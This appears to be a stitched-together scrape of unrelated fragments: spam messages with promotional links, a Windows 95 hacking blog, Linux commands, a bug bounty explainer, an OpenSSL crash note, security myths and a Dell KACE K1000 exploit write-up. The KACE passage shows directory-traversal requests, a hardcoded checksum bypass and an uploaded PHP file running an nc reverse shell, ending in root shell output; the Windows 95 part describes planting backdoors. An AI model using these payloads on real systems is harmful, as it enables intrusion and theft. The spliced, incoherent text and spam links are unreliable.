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hi
10822070765856542844noreply

here it is, social website traffic:
http://www.mgdots.co/detail.php?id=113


Full details attached




Regards
Linda Vanderzee  












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Get your business to the next level with a solid Content Marketing strategy
http://www.str8-creative.io/product/content-marketing/


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Allie Abelson  












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This morning I've found an scaring surprise on my Firefox Quantum. Casually it was connected to a proxy when an unexpected connection came up, the browser  was connecting to an unknown remote site via HTTP and downloading a ZIP that contains an ELF shared library, without any type of signature on it.

This means two things

1) the owner of that site might spread malware infecting many many people.
2) the ISP also might do that.


Ubuntu Version:

In this case the shared library is a video decoder, but it would be a vector to distribute malware o spyware massively, or an attack vector for a MITM attacker.

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In the Hacking Windows 95, part 1 blog post, we covered that through a nasty bug affecting Windows 95/98/ME, the share password can be guessed in no time. In this article, I'm going to try to use this vulnerability to achieve remote code execution (with the help of publicly available tools only).

The first thing we can do when we have read access to the Windows directory through the share, is to locate all the *.pwl files on the c:\windows directory, copy them to your machine where Cain is installed, switch to Cracker tab, pwl files, load the pwl file, add username based on the filename, and try to crack it. If you can't crack it you might still try to add a .pwl file where you already know the password in the remote windows directory. Although this is a fun post-exploitation task, but still, no remote code execution. These passwords are useless without physical access.

• there is no "at" command (available since Windows 95 plus!)
• there is no admin share
• there is no RPC
• there is no named pipes
• there is no remote registry
• there is no remote service management

If you think about security best practices, disabling unnecessary services is always the first task you should do. Because Windows 95 lacks all of these services, it is pretty much secure!

During my quest for a tool to hack Windows 95, I came across some pretty cool stuff:

Internet periscope

Winfingerprint

LanSpy

But the best of the best is Fluxay, which has been written by chinese hackers. It is the metasploit from the year 2000. A screenshot is worth more than a 1000 words. 4 screenshot > 4 thousand words :)

It is pretty hard to find the installer, but it is still out there!

But at the end, no remote code execution for me.

Now let's look at the processes running:

After staring it for minutes, turned out it is constant, no new processes appeared.
Looking at the next screenshot, one can notice this OS was not running a lot of background processes ...

1. You are lucky and not the plain Windows 95 is installed, but Windows 95 Plus! The main difference here is that Windows 95 Plus! has built-in scheduler, especially the "at" command. Just overwrite a file which is scheduled to execution, and wait. Mission accomplished!
2. Ping of death - you can crash the machine (no BSOD, just crash) with long (over 65535 bytes) ICMP ping commands, and wait for someone to reboot it. Just don't forget to put your backdoor on the share and add it to autoexec.bat before crashing it. 
3. If your target is a plain Windows 95, I believe you are out of luck. No at command, no named pipes, no admin share, nothing. Meybe you can try to fuzz port 137 138 139, and write an exploit for those. Might be even Ping of Death is exploitable?

Look at the cool features we have by installing Win95 Plus!

Cool new boot splash screen!

But our main interest is the new, scheduled tasks!

Now we can replace diskalm.exe with our backdoor executable, and wait maximum one hour to be scheduled.

Instead of a boring text based tutorial, I created a YouTube video for you. Based on the feedbacks on my previous tutorialz, it turned out I'm way too old, and can't do interesting tutorials. That's why I analyzed the cool skiddie videoz, and found that I have to do the followings so my vidz won't suck anymore:

• use cool black windows theme
• put meaningless performance monitor gadgets on the sidebar
• use a cool background, something related with hacking and skullz
• do as many opsec fails as possible
• instead of captions, use notepad with spelling errorz
• there is only one rule of metal: Play it fuckin' loud!!!!

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ps

ps aux|grep

pmap

top

Kill pid

killall proc

bg

fg

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What is Bug Bounty ?

A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.




Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.


Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1.  In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.


While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.

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Data Structures

If a bad signature is sent after the renegotiation, the structure will be corrupted, becouse structure pointer:
s->c->shared_sigalgs will be NULL, and the number of algorithms:
s->c->shared_sigalgslen will not be zeroed.
Which will be interpreted as one algorithm to process, but the pointer points to 0x00 address. 

Then tls1_process_sigalgs() will try to process one signature algorithm (becouse of shared_sigalgslen=1) then sigptr will be pointer to c->shared_sigalgs (NULL) and then will try to derreference sigptr->rhash. 

This mean a Segmentation Fault in  tls1_process_sigalgs() function, and called by tls1_set_server_sigalgs() with is called from ssl3_client_hello() as the stack trace shows.

StackTrace

Debugger in the crash point.

radare2 static decompiled

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POST /userui/downloadpxy.php HTTP/1.1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download

HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini   ;
;;;;;;;;;;;;;;;;;;;

http://targethost/service/kbot_upload.php

        $checksumFn = $_GET['filename'];
        $fn = rawurldecode($_GET['filename']);
        $machineId = $_GET['machineId'];
        $checksum = $_GET['checksum'];
        $mac = $_GET['mac'];
        $kbotId = $_GET['kbotId'];
        $version = $_GET['version'];
        $patchScheduleId = $_GET['patchscheduleid'];
        if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
            KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
                  ."($machineId, $checksumFn, $mac)");
            KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
                  ."from HandlePUT(".construct_url($_GET).")");
            header("Status: 500", true, 500);
            return;
        }

      md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

    private static function calcTokenChecksum($filename, $machineId, $mac)
    {
        //return md5("$filename $machineId $mac" . $ip .
        //           'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
     
        // our tracking of ips really sucks and when I'm vpn'ed from
        // home I couldn't get patching to work, cause the ip that
        // was on the machine record was different from the
        // remote server ip.
        return md5("$filename $machineId $mac" .
                   'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
    }

 if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {

    POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Content-Length: 190
    <?php
    require_once 'KSudoClient.class.php';
    KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?> 

    http://targethost/service/tmp/db.php

    ~$ ncat -lkvp 4444
    Ncat: Version 5.21 ( http://nmap.org/ncat )
    Ncat: Listening on 0.0.0.0:4444
    Ncat: Connection from XX.XX.XX.XX
    sh: can't access tty; job control turned off
    # id
    uid=0(root) gid=0(wheel) groups=0(wheel)  

Directory Traversals: 2
Backdoors: 2
Privilege Escalation: 1

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Purpose of Hacking?
. Just for fun
.Show-off
.Steal important information 
.Damaging the system
.Hampering Privacy
.Money Extortion 
.System Security Testing
.To break policy compliance etc

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PDF is safe to open

Image stolen from Kaspersky

Java is secure

Stay away from rogue websites and you will be safe

Don't use open WiFi

The password policy nightmare

Sites with a padlock are safe

We tell people for years that the communication with HTTPS sites are safe, and you can be sure it is HTTPS by finding a randomly changing padlock icon somewhere next to the URL. What people hear is that sites with padlocks are safe. Whatever that means. The same goes for WiFi - a network with a padlock is safe.

Use Linux, it is free from malware

For years people told to Windows users that only if they would use Linux they won't have so much malware. Thanks to Android, now everyone in the world can enjoy malware on his/her Linux machine.

OSX is free from malware

It is true that there is significantly less malware on OSX than on Windows, but this is an "economical" question rather than a "security" one. The more people use OSX, the better target it will become. Some people even believe they are safe from phishing because they are using a Mac!

Updated AV + firewall makes me 100% safe

How to backup data

Disconnect your computer from the Internet when not used

Use (free) VPN to protect your anonimity

The corporate "security tips" myth

Use robots.txt to hide secret information on public websites

Use WAF, IDS, IPS, Nextgen APT detection hibber-gibber and you will be safe

Conclusion

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